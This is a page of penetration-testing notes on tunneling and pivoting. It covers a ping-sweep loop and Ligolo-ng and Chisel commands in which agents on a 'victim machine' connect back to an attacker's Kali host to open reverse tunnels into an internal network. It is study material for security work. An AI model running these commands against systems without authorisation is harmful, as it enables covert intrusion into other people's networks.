> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/windows-privilege-escalation/tunneling-and-pivoting.md).

# Tunneling and Pivoting

## For Loop Command

```
for i in {1..255};do ping -c 1 192.168.110.$i > /dev/null;if [ $? -eq 0 ];then echo
192.168.110.$i;fi;done
```

## Ligolo-ng

Ligolo makes a tunnel just like a VPN; there is no need to use proxychains

1. Download Agent and Proxy from Ligolo Github Page
2. Agent will Run on Victim Machine and Proxy Will run on Attacker Machine (Kali-Linux)

Before Running agents and Proxy you need to run 2 commands on your kali linux

```python
# These commands will set the ligolo interface on your kali linux

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up

```

Then We need to run the Proxy

```python
ligolo-linux-proxy -selfcert -laddr 0.0.0.0:443
```

<figure><img src="/files/iUw8yQDrDbd4OmN6IRn4" alt=""><figcaption></figcaption></figure>

after that upload the Agent on the Targer machine and run the below command

```python
./lin-agent -connect 10.8.5.85:11601 -ignore-cert
```

<figure><img src="/files/E11Ro9b2cA1pMwWfAEpK" alt=""><figcaption></figcaption></figure>

After that, you need to add the route

```python
sudo ip route add 172.18.0.0/24 dev ligolo
```

then

```
start
```

<figure><img src="/files/7Gv1tBrvUyQWSlDofaFc" alt=""><figcaption></figcaption></figure>

## Chisel

We can use chisel as well for tunneling,&#x20;

```python
chisel server -p 1234 --reverse # Run on kali linux (Attacker Machine)
```

<figure><img src="/files/NXtM8d7gXRIgbSlh6Soh" alt=""><figcaption></figcaption></figure>

```python
./chisel-linux client 10.8.5.85:1234 R:socks # Run on Victim Machine
```

<figure><img src="/files/ZvWAh2Tn0WGoWDsU9JWs" alt=""><figcaption></figcaption></figure>

for this to work your /etc/proxychains4.conf file should have following entry

<figure><img src="/files/Q2gvG6mHFsjt3PUMN6Cx" alt=""><figcaption></figcaption></figure>
